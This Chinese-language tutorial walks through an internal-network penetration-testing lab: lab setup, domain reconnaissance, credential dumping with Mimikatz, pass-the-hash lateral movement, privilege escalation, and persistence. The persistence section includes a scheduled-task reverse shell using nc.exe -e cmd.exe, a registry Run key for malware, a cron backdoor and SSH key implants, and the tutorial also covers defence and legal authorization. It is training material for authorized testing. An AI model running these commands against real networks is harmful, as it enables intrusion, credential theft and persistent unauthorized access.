1. 内网渗透基础实验概述
内网渗透测试是企业安全评估中不可或缺的环节。作为安全从业人员,我经常需要对企业内部网络进行安全检测,发现潜在漏洞并协助修复。这个实验将带你从零开始构建内网渗透的基础知识体系,掌握常见的内网渗透技术和方法。
内网渗透不同于常规的Web渗透测试,它更注重网络内部的横向移动、权限提升和信息收集。通过这个实验,你将学习到如何在内网环境中识别关键系统、利用漏洞获取更高权限,并最终控制整个内网。这些技能对于企业安全防护和红队演练都至关重要。
2. 实验环境搭建
2.1 实验拓扑设计
一个标准的内网渗透实验环境通常包含以下组件:
- 域控制器(DC):运行Windows Server操作系统,负责整个域的管理和认证
- 成员服务器:运行各种业务应用的服务器
- 工作站:普通员工的办公电脑
- 防火墙:隔离不同安全级别的网络区域
- 渗透测试机:攻击者的操作平台
建议使用VMware或VirtualBox搭建实验环境,网络模式选择"仅主机"或"内部网络"以确保隔离。
2.2 靶机配置
对于初学者,可以从以下靶机开始练习:
- Windows 7/10靶机:配置为域成员
- Windows Server 2012/2016:配置为域控制器
- Linux服务器:运行常见服务如SSH、FTP等
每台靶机都应配置至少两个网卡:一个连接外网,一个连接内网。
3. 信息收集技术
3.1 网络扫描
使用Nmap进行内网扫描是信息收集的第一步:
nmap -sn 192.168.1.0/24 # 发现存活主机 nmap -sV -O 192.168.1.100 # 服务版本和操作系统识别 nmap --script vuln 192.168.1.100 # 漏洞扫描3.2 域环境探测
在Windows域环境中,常用命令包括:
net view /domain # 查看域 net group "Domain Admins" /domain # 查询域管理员 nltest /domain_trusts # 查看域信任关系3.3 凭证获取技术
获取凭证是内网渗透的关键步骤,常用方法包括:
- 内存凭证提取:使用Mimikatz工具
- 密码哈希抓取:通过SAM数据库或LSASS进程
- 网络嗅探:使用Responder等工具捕获认证流量
4. 横向移动技术
4.1 传递攻击
哈希传递(PtH):使用已获取的NTLM哈希进行认证
psexec.py -hashes LMHASH:NTHASH domain/user@target票据传递(PtT):利用Kerberos票据进行认证
kekeo.exe "tgt::ask /user:admin /domain:test.com /password:123456"
4.2 远程代码执行
PsExec:微软官方工具,常用于远程命令执行
PsExec.exe \\target -u user -p pass cmd.exeWMI:Windows管理接口
wmic /node:target process call create "cmd.exe /c whoami"
5. 权限提升技术
5.1 Windows系统提权
服务权限滥用:查找配置不当的服务
accesschk.exe -uwcqv "Authenticated Users" *AlwaysInstallElevated:利用安装权限漏洞
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
5.2 Linux系统提权
SUID权限检查:
find / -perm -4000 -type f 2>/dev/null内核漏洞利用:使用如dirtycow等漏洞
6. 持久化技术
6.1 Windows持久化
计划任务:
schtasks /create /tn "Backup" /tr "cmd.exe /c nc.exe 192.168.1.100 4444 -e cmd.exe" /sc minute /mo 1注册表启动项:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\malware.exe"
6.2 Linux持久化
crontab:
(crontab -l ; echo "* * * * * /tmp/backdoor")|crontab -SSH后门:
echo 'ssh-rsa AAAAB3Nza...' >> ~/.ssh/authorized_keys
7. 防御与检测
7.1 常见防御措施
- 网络分段:严格划分安全区域
- 最小权限原则:限制用户和服务的权限
- 日志监控:集中收集和分析安全日志
- 补丁管理:及时修复系统漏洞
7.2 攻击检测技术
- 异常登录检测:监控非正常时间的登录
- 横向移动检测:关注同一凭证在多台主机的使用
- 权限提升检测:监控敏感操作如添加管理员
8. 实验注意事项
- 法律合规:确保所有测试都获得授权
- 环境隔离:测试环境必须与生产网络隔离
- 工具安全:只从官方渠道获取渗透工具
- 数据保护:不泄露测试中获取的任何敏感信息
提示:内网渗透测试是一项需要高度责任感和专业素养的工作。在实际操作中,务必遵守职业道德和相关法律法规。
通过这个基础实验,你应该已经掌握了内网渗透的核心技术路线。记住,真正的安全不在于攻击技术本身,而在于如何帮助企业构建更强大的防御体系。在实际工作中,我建议先从授权范围内的测试开始,逐步积累经验。